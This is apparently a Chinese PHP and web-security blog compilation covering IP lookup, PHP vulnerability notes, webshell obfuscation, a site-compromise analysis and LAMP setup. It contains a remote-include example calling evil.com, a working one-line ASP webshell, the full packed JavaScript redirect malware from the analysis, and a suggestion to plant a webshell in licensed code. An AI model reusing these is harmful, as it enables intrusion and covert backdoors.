php获取客户端IP,国家,省份,地区,ISP等信息

php获取客户端IP,国家,省份,地区,ISP等信息,首先获取获取客户端的公网ip,开始本地搭建的环境,本地访问获取到的是127.0.0.1,然后用138的接口可以实现curl模拟客户端访问 http://city.ip138.com/ip2city.asp 可看到真实客户端的ip。

<?php
header('Content-Type:text/html;Charset=utf-8');

//获取ip方法 -- 如果获取不精准可以用第三方获取 http://city.ip138.com/ip2city.asp
function GetIP(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknow";
return($ip);
}
//新浪接口,获取ip所在国家,地域。
function GetIpLookup($ip = ''){
if(empty($ip)){
$ip = GetIp();
}
$res = @file_get_contents('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&ip=' . $ip);
if(empty($res)){ return false; }
$jsonMatches = array();
preg_match('#\{.+?\}#', $res, $jsonMatches);
if(!isset($jsonMatches[0])){ return false; }
$json = json_decode($jsonMatches[0], true);
if(isset($json['ret']) && $json['ret'] == 1){
$json['ip'] = $ip;
unset($json['ret']);
}else{
return false;
}
return $json;
}

$ipInfos = GetIpLookup(); //IP地址
print_r($ipInfos);  //打印数组

//测试url: http://0535code.com/ip.php

读《重燃你的php之火》总结笔记

1.文件包含变量导致远程文件包含
include (“$cfg_dir/site_${site}.php”); //把$cfg_dir 这个路径里的site_${site}.php 包含进来
可以把变量$site 指定远程文件http://evil.com/cmd.gif 去调用,也可以是本地的一个文件
解决方案:
php.ini 里的allow_url_fopen 设为off 禁止远程使用文件
2.文件目录列表
目录列表,下载重要文件
解决方案:
open_base_dir 禁止使用目录列表,或每个目录下都存放一个index.html,推荐第一种解决方案
3.文件操作函数导致源代码泄漏(fopen(),file(),readfile(),openfile())
$articlearray=openfile(“$dbpath/$fid/$tid.php”); //打开$dbpath/$fid 这个路径的$tid.php 文件
$topic_detail=explode(“|”,$articlearray[0]); //用分割符|读出帖子的内容
构造/read.php?fid=123&tid=../index 可以查看上级index.php源代码
fwrite() 写入一句话木马
unlink() 传入任意文件,删除任意文件
解决方案:
过滤特殊字符
4.任意代码执行
eval(),preg_replace(),exec(),system(),popen(),proc_open(),proc_close()
提交可执行代码和系统命令
解决方案:
使用escapeshellarg()或escapeshellcmd()函数过滤
5.特殊字符过滤
../ win路径隐患
..\ win和linux路径隐患
< > 跨站脚本攻击xxs
‘?? 执行系统命令
; | 截断程序流程
6.php的一些安全配置参数

safe_mode_gid = On? //开启安全模式,会禁止系统命令执行函数
register_globals = Off //关闭全局变量,防止变量覆盖漏洞
php_admin_value open_basedir /usr/local/apache/htdocs //限制php文件操作目录为网站根目录
allow_url_fopen = Off //关闭远程文件打开功能,防止include(”)文件包含一句话木马

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
#防止读取任意文件和执行任意命令,限制上传目录权限
open_basedir = “/usr/local/apache/htdocs/” #限制允许操作的父目录
#命令执行漏洞可以用escapeshellcmd()函数过滤传入的命令参数,后再使用,杜绝命令执行漏洞
</Directory>

error_reporting = E_ALL & ~E_NOTICE //屏蔽警告信息
display_errors = On //屏蔽错误信息
log_errors = On? //开启错误日志
error_log = /usr/local/apache/logs/php_error.log //错误日志存放目录
disable_functions = phpinfo, get_cfg_var //禁用一些危险函数可以放在这里
 

PHP判断代理HTTP_X_FORWARDED_FOR

除了正常访问网站以外,还有一种代理模式访问,burpsuite、fiddler等都是通过代理做中间人进行嗅探分析找漏洞,利用漏洞的,前段时间想判断下禁止代理访问,使用HTTP_X_FORWARDED_FOR做判断,通过各种沟通,觉得此方法不可行,没有实际落实,于是自己用php取了下参数,翻阅了下资料,通过分析判断HTTP_X_FORWARDED_FOR是否是使用代理的不靠谱,可以把代理信息去掉再发送,burpsuite就是这样做的,用HTTP_X_FORWARDED_FOR根本判断不出是代理访问的,在发送之前会把相关信息去掉。测试下 fiddle 也是不可以的,通过HTTP_X_FORWARDED_FOR控制的意义就不大了。测试代码如下:

<?
if(!empty($_SERVER['HTTP_VIA']))    //判断使用了代理
{
if(!isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
echo "1:普通匿名代理服务器,代理IP地址为". $_SERVER['REMOTE_ADDR'];
}
else
{
echo "2:透明代理服务器代理,IP地址为".$_SERVER['REMOTE_ADDR'];
echo "2:透明代理服务器,真实ip地址为".$_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
else         //否则判断没有使用代理
{
echo "3:没有代理或者是高匿名代理,真实ip地址为".$_SERVER['REMOTE_ADDR'];
}

之后和新公司同事商议了下解决方案,在传输的过程中增加token,传输的内容全部为密文,实现的原理也类似https。

php变形一句话木马和加密原理

php比较流行的一句话木马很多,甚至老外研究的,一般人都看不懂,今天看到某站中了chr一句话木马,一看就不正常具体就不发代码了,总结下asp,php的chr类型变形一句话木马和加密。
<%eval request(chr(65))%>
这句话用菜刀链接密码就是A,菜刀就是post请求A参数提交任意代码。用burpsuite可以看到菜刀的所有操作,自己也可以把菜刀的代码down下来,自己写一个去。不过没啥意义,还不如直接反编译为自己了,可以装装感觉很厉害的样子。chr里面的数字就是对应的ASCII码,附一份ASCII码表,也可以自己写个工具,翻译出来。

chr(9) tab空格
chr(10) 换行
chr(13) 回车
chr(13)&chr(10) 回车换行
chr(32) 空格符
chr(34) 双引号
chr(39) 单引号
chr(33) !
chr(34) ”
chr(35) #
chr(36) $
chr(37) %
chr(38) &
chr(39) ‘
chr(40) (
chr(41) )
chr(42) *
chr(43) +
chr(44) ,
chr(45) –
chr(46) .
chr(47) /
chr(48) 0
chr(49) 1
chr(50) 2
chr(51) 3
chr(52) 4
chr(53) 5
chr(54) 6
chr(55) 7
chr(56) 8
chr(57) 9
chr(58)
chr(59) ;
chr(60) <
chr(61) =
chr(62) >
chr(63) ?
chr(64) @
chr(65) A
chr(66) B
chr(67) c
chr(68) D
chr(69) E
chr(70) F
chr(71) G
chr(72) H
chr(73) I
chr(74) J
chr(75) K
chr(76) L
chr(77) M
chr(78) N
chr(79) O
chr(80) P
chr(81) Q
chr(82) R
chr(83) S
chr(84) T
chr(85) U
chr(86) V
chr(87) W
chr(88) X
chr(89) Y
chr(90) Z
chr(91) [
chr(92) \
chr(93) ]
chr(94) ^
chr(95) _
chr(96) `
chr(97) a
chr(98) b
chr(99) c
chr(100) d
chr(101) e
chr(102) f
chr(103) g
chr(104) h
chr(105) i
chr(106) j
chr(107) k
chr(108) l
chr(109) m
chr(110) n
chr(111) o
chr(112) p
chr(113) q
chr(114) r
chr(115) s
chr(116) t
chr(117) u
chr(118) v
chr(119) w
chr(120) x
chr(121) y
chr(122) z
chr(123) {
chr(124) |
chr(125) }
还有比这个复杂的密码对应ASCII码表可翻译出来。

然后好多一句话木马看起来不是这样,是用base64做了加密处理,然后在文件中解密,这种加密方式翻转一下就ok。

浏览器URL转码、解码与服务端的通讯

浏览器URL转码与服务端交互原理,在百度搜索“你妹”,是GET提交的转码后的wd参数(%E4%BD%A0%E5%A6%B9),是不是传到服务器需要再次转码呢,如果这样的话,sql注入,直接过滤关键词是行不通的,需要转义后再过滤关键词。写了一个get提交和post请求并且打印,用不同浏览器做了测试。

测试代码如下:

<form method="get" action="test.php">
<input name="test" value="">
<input type="submit" value="GET submit">
</form>
</div>
<?
echo $_GET['test'];
?>
<form method="post" action="test.php">
<input name="body" value="">
<input type="submit" value="POST submit">
</form>
</div>
<?php
echo $_POST["body"];
?>

通过GET和POST提交,用IE浏览器,发现URL被转义,打印出变量确是输入的数据;
通过GET和POST提交,用火狐浏览器,发现URL没转义,打印变量是输入的数据。
通过以上证明是浏览器处理的,HTTP协议处理的,翻阅相关资料是因为是不同浏览器制定的不同的规范,底层是Socket通讯,自动进行了转码和解码。资料的网址是:http://www.cnblogs.com/sunzhenchao/p/3904886.html 资料写的比较专业。

PHP和Python获取网页源代码区别

学习Python用requests库去获取我的网站源代码,获取到的居然是加速乐的防御代码,因为我用加速乐的CDN,然后获取了下乌云网站的,获取乌云的是一片空白,什么都没有,难道Python这么弱么,然后用php获取,php都可以获取到,而且比python代码少,只是Python可以常住内存,PHP就不行了。

php获取页面源代码方法:

$re = file_get_contents('http://www.0535code.com/');
var_dump($re);

Python页面源代码方法:

# coding:utf-8
import requests
html = requests.get('http://www.0535code.com')
print html.text

Python获取页面源代码比php多呢, 要php的一倍。然后这样还不行,像加速乐,乌云了,这类安全网站都获取不到,普通网站python用上面的代码能获取到,然后研究了下,是上面的代码不完整所以获取不到一些网站的源代码,要带上访问的一些信息才行。完整的Python代码如下:

# coding:utf-8
import re,requests
#要设置RAW字段才能成功抓取到内容
wuyun_headers={'User-Agent':'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/23.0.2211.251 Safari/537.36'}
html = requests.get('http://www.0535code.com',headers=wuyun_headers)
print html.text

因为php用file_get_contents函数,默认会有代理信息一起提交请求,而用python就不会自动提交,要配置下才行。
headers的信息,通过浏览器审查元素中的网络选项,随便找一个链接,可以看到请求头信息RAW。
 

一个WEB挂马的分析思路

又一次遇到搜索引擎欺骗类型的挂马了,这类挂马很高级,甚至不好判断是篡改的后台代码还是前端代码,而使用代理截断数据包去分析会发现不了搜索引擎跳转。从代码中搜索,查找都找不到,肯定是做过加密处理了,是比较难找,这次是Ecshop的一个挂马处理,汇总了一下思路。
首先通过百度搜索命令site:域名,发现通过百度进入的都会跳转,而直接进入网址的都不会跳转。开始觉得肯定是后台做判断了,但是找了找没找到代码,中间也有怀疑前端js的可能性,不过源码这么大,从头找的话无从下手,然后从goods.php下手了。打开goods.php文件,在require(dirname(__FILE__) . ‘/includes/init.php’);后面下断点 die(‘——exit—–‘);通过搜索引擎去打开,发现依旧存在挂马。说明问题在/includes/init.php这个文件中,然后又打开这个文件,也是从上到下循环下断点,在这个文件中发现在第83行中require(ROOT_PATH . ‘includes/lib_goods.php’); 在这里之前下断点就会终止程序,而在这里之后依然存在挂马,说明是引入的这个文件有问题。继续找这个文件。功夫不负有心人,在第996行有段代码被发现了,@print_r($web1);通过打印web1这个变量输出了一个js,通过这个js控制的页面跳转,而且这个js会判断来路去跳转到不同的挂马网站。把代码提取出来如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('D n$=["\\E\\t\\E\\U\\U\\I\\t\\t","\\K\\x\\W\\x\\1s\\x\\W\\x\\P\\x\\W\\x\\1o","\\1n\\x\\W\\x\\U\\x\\W\\x\\1t\\x\\W\\x\\1t","\\M\\u\\t\\r\\q\\C\\o\\w\\B\\s\\v\\G\\R\\s\\G\\p\\z\\"\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\o\\Q\\C\\p\\z\\"\\o\\p\\1v\\o\\/\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\u\\r\\t\\z\\"\\F\\o\\o\\C\\1e\\J\\J\\N\\u\\I\\R\\u\\p\\r\\u\\I\\X\\K\\I\\B\\s\\J\\K\\U\\K\\1s\\X\\1N\\K\\U\\I\\N\\u\\"\\L\\M\\/\\u\\t\\r\\q\\C\\o\\L\\M\\u\\t\\r\\q\\C\\o\\w\\B\\s\\v\\G\\R\\s\\G\\p\\z\\"\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\o\\Q\\C\\p\\z\\"\\o\\p\\1v\\o\\/\\N\\s\\O\\s\\u\\t\\r\\q\\C\\o\\"\\w\\u\\r\\t\\z\\"\\F\\o\\o\\C\\1e\\J\\J\\N\\u\\I\\R\\u\\p\\r\\u\\I\\X\\K\\I\\B\\s\\J\\K\\U\\X\\U\\P\\X\\1o\\P\\I\\N\\u\\"\\L\\M\\/\\u\\t\\r\\q\\C\\o\\L",\'\\M\',\'\\t\\p\',\'\\v\',\'\\o\',\'\\p\',\'\\r\\L\\M\\q\',\'\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\\w\\w\\u\',\'\\t\',\'\\r\',\'\\H\',\'\\B\',\'\\B\',\'\\q\',\'\\v\',\'\\G\',\'\\z\',\'\\A\\v\',\'\\H\\A\\w\\E\',\'\\s\',\'\\r\',\'\\G\',\'\\q\',\'\\v\',\'\\F\',\'\\p\',\'\\q\',\'\\G\',\'\\F\',\'\\o\',\'\\z\\P\\w\\E\',\'\\s\',\'\\r\',\'\\G\',\'\\q\',\'\\v\',\'\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\P\\w\\w\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\',\'\\1y\',\'\\H\',\'\\r\',\'\\y\',\'\\p\',\'\\r\',\'\\z\\A\\P\\A\\w\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\A\\K\',\'\\P\',\'\\P\',\'\\1J\\A\\w\\Z\',\'\\q\',\'\\y\',\'\\o\',\'\\F\',\'\\z\\A\',\'\\A\\w\\F\',\'\\p\',\'\\q\',\'\\G\',\'\\F\',\'\\o\',\'\\z\\A\',\'\\A\\w\\u\',\'\\r\',\'\\t\',\'\\z\\A\',\'\\F\',\'\\o\',\'\\o\',\'\\C\',\'\\1e\',\'\\J\',\'\\J\',\'\',\'\\A\\L\\M\\J\',\'\\q\',\'\\1b\',\'\\r\',\'\\s\',\'\\E\',\'\\p\',\'\\L\',\'\\M\',\'\\J\',\'\\t\',\'\\p\',\'\\v\',\'\\o\',\'\\p\',\'\\r\',\'\\L\',\'\\M\',\'\\y\',\'\\q\',\'\\O\',\'\\w\\q\',\'\\y\',\'\\z\\A\\q\',\'\\1f\',\'\\1z\\H\',\'\\y\',\'\\Q\',\'\\1n\\A\\L\',\'\',\'\',\'\',\'\',\'\',\'\',"\\y\\H","\\t\\R","\\E\\p\\v\\o\\I\\Z\\r","\\q\\o\\p\\1k\\x","\\x\\1i\\1p","\\y\\H","\\t\\R","\\E\\p\\v\\o\\I\\Z\\r","\\q\\o\\p\\1k\\x","\\x\\1i\\1p","\\E\\Q\\1h\\v\\o\\p\\r\\O\\s\\B\\1k\\1i","\\y\\H\\t\\R\\E\\p\\v\\o","\\G\\p\\o\\1I\\B\\p\\E\\p\\v\\o\\1z\\Q\\1h\\y","\\y\\q\\O","\\1L\\B\\B","\\u\\o\\Q\\B\\p","\\y\\q\\u\\C\\B\\s\\Q","\\v\\H","\\v\\p","\\1y\\H\\y\\Q","\\t\\F\\q\\B\\y\\r\\p\\v","\\B\\p\\v\\G\\o\\F","\\o\\s\\G\\1M\\s\\E\\p","\\q\\y","\\1f\\1h\\1K","\\q\\t\\H\\v\\1f\\q\\O\\K","\\v\\H\\v","\\p"];D a=n$[0];D b=n$[1];D c=n$[2];D d=n$[3];D f=n$[4]+n$[5]+n$[6]+n$[7]+n$[8]+n$[9]+n$[10]+n$[11]+n$[12]+n$[13]+n$[14]+n$[15]+n$[11]+n$[17]+n$[18]+n$[18]+n$[20]+n$[6]+n$[22]+n$[23]+n$[24]+n$[25]+n$[12]+n$[11]+n$[22]+n$[20]+n$[6]+n$[V]+n$[8]+n$[20]+n$[22]+n$[V]+n$[7]+n$[1E]+n$[12]+n$[11]+n$[22]+n$[20]+n$[6]+n$[1D]+n$[20]+n$[S]+n$[7]+n$[V]+n$[1H]+n$[11]+n$[12]+n$[13]+n$[8]+n$[1G]+n$[17]+n$[11]+n$[S]+n$[8]+n$[11]+n$[1F]+n$[20]+n$[S]+n$[7]+n$[V]+n$[2p]+n$[1l]+n$[1l]+n$[2l]+n$[20]+n$[S]+n$[7]+n$[V]+n$[1g];D g=n$[2n]+n$[8]+n$[20]+n$[22]+n$[V]+n$[7]+n$[1g];D h=n$[2m]+n$[11]+n$[15]+n$[1g]+n$[V]+n$[7]+n$[7]+n$[2q]+n$[2o]+n$[1j]+n$[1j]+n$[T];D i=n$[2k]+n$[20]+n$[10]+n$[11]+n$[12]+n$[13]+n$[8]+n$[1m]+n$[4]+n$[1j]+n$[15]+n$[8]+n$[6]+n$[7]+n$[8]+n$[11]+n$[1m]+n$[4]+n$[S]+n$[20]+n$[1X]+n$[1W]+n$[S]+n$[1V]+n$[21]+n$[1Z]+n$[S]+n$[1Y]+n$[1U];D j=f+n$[T]+b+n$[T]+g+n$[T]+c+n$[T]+h+n$[T]+a+n$[T]+i;1A(n$[1x]+n$[1C]+n$[1B]+n$[1q]+j+n$[1r]);1A(n$[1x]+n$[1C]+n$[1B]+n$[1q]+d+n$[1r]);1c{1Q(n$[1P],1O)}1d(e){}1T 1S(){1c{Y[n$[16]][n$[1R]](n$[26]+n$[2g])[n$[1w]][n$[1u]]=n$[2f]+n$[2e]}1d(e){}2j(D k=2i;k<Y[n$[16]][n$[1a]][n$[19]][n$[2h]];k++){1c{D l=Y[n$[16]][n$[1a]][n$[19]][k][n$[2d]];D m=Y[n$[16]][n$[1a]][n$[19]][k][n$[29]];28(l==n$[27]&&m!=n$[2c]){Y[n$[16]][n$[1a]][n$[19]][k][n$[1w]][n$[1u]]=n$[2b]+n$[2a]}}1d(e){}}}',62,151,'|||||||||||||||||||||||_|x74|x65|x69|x72|x61|x63|x73|x6e|x20|x27|x64|x3d|x22|x6c|x70|var|x6d|x68|x67|x6f|x2e|x2f|x31|x3e|x3c|x6a|x76|x30|x79|x75|45|91|x38|31|x2b|x35|window|x77|||||||138|||147|146|x66|try|catch|x3a|x44|72|x49|x29|89|x28|65|99|x32|x34|x3b|130|131|x39|x33|143|x78|142|127|x62|x42|eval|129|128|43|37|59|53|48|x45|x25|x56|x41|x4e|x37|0xbb8|137|setInterval|139|myInterval|function|120|115|113|112|119|117||116|||||140|151|if|150|154|153|152|149|145|144|141|148|0x0|for|92|67|80|73|88|64|87'.split('|'),0,{})

通过分析这个站被挂马是后台和前端,加密一起挂马的。

Centos搭建原生的LAMP

使用以下命令安装php,测试php,Centos默认集成了Apache
yum -y install php
vi /var/www/html/index.php
/etc/init.d/httpd restart

使用以下命令安装mysql,测试mysql用phpmyadmin (unzip *.zip)
yum install mysql mysql-server
chkconfig –levels 235 mysqld on
/etc/init.d/mysqld start
/etc/init.d/mysqld restart

安装完后mysql数据库目录为 /var/lib/mysql
或者用 ps -ef | grep mysql 查看数据库存放目录
设置root密码:
mysql_secure_installation

关联php和mysql
yum search php
yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml

php-xmlrpc
/etc/init.d/httpd restart
/etc/init.d/httpd restart

apache域名绑定文件
/etc/httpd/conf/httpd.conf

##########################

如果在Ubuntu环境下测试环境可以安装phpstudy

1.wget -c http://lamp.phpstudy.net/phpstudy.bin
2.chmod +x phpstudy.bin
3.sudo ./phpstudy.bin

centos7注意事项:
systemctl start httpd.service #开始httpd
systemctl stop firewalld.service #停止
systemctl disable firewalld.service #禁用
systemctl restart httpd.service #重启httpd

yum install mariadb mariadb-server #安装mysql分支
systemctl start mariadb #启动mariadb
systemctl enable mariadb #开机自启动
mysql_secure_installation #安全配置向导
mysql -uroot -p #测试登录

#相关组件
yum -y install php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel

#开启伪静态
# vim /etc/httpd/conf/httpd.conf

###增加下面内容

RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

PHP域名授权代码

<?php
$geturl = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if(isset($geturl)&&!empty($geturl)){
$fromHost = array(
'localhost'
);
$urlArr = parse_url($geturl);
$host = isset($urlArr['host'])?$urlArr['host']:'';
$host = strtolower(str_ireplace('www.','',$host));
if(!in_array($host,$fromHost)){
echo "禁止访问";
} else {
echo "正常访问";
}
}

以上是PHP域名授权代码,可以把域名授权文件放到核心文件,所有文件都需要引用核心文件,核心文件可以是核心类库或者数据库链接文件等,其次文件里还可以加一句话木马哦,如果删掉就不能用了,方式程序被盗增加了程序安全性。

PHPCMS 添加Tags标签与当前文章关键词

帮一朋友添加Tags标签,用phpcms看了下网上说的直接用标签调就可以了。尝试了没有显示,打印出来的数据与文章缺少关联性,想了好几种解决方案,一种是用原生的php写,看了下phpcms的数据库表接口,keywords表是单独存放的,与文章有关联性,没找到文章表,这种办法放弃了,仔细找找这种也是可以实现的。另外网上写的都是栏目调用Tags标签,不是文章调用,文章调用没看到默认的标签。
<!– 列表所有关键词
<div class=”hots”><strong>TAG热门关键字:</strong>
{pc:content action=”lists” catid=”$catid” num=”10″ order=”id ASC” page=”$page”}
{loop $data $r}
{php $keywords = explode(‘ ‘,$r[keywords]);}
{loop $keywords $keyword}
<a href=”{APP_PATH}index.php?m=content&c=tag&catid={$catid}&tag={urlencode($keyword)}” target=”_blank”>{$keyword}</a>
<a href=”{APP_PATH}index.php?m=content&c=tag&a=lists&tag={urlencode($keyword)}” class=”blue”>{$keyword}</a>
<a href=”http://zhannei.baidu.com/cse/search?s=5036581220979474004&entry=1&q={urlencode($keyword)}” class=”blue”>{$keyword}</a>
{/loop}
{/loop}
{/pc}
–>
这种是获取栏目关键词,而且还可以用百度站内搜索api作成百度站内搜索。
朋友主要是获取当前文章的tags标签,于是发现$SEO[‘keyword’]变量可以直接用,拆分下就好了。代码如下:

<?php
//var_dump($SEO['keyword']);
$key[] = explode(",",$SEO['keyword']);
//var_dump($key[0]);
foreach ($key[0] as $k => $vaule){
//echo "<a href='$vaule'>$vaule</a>";
echo "<a href='/index.php?m=content&c=tag&a=lists&tag=$vaule' class='blue'>$vaule</a>&nbsp;&nbsp;";
}
?>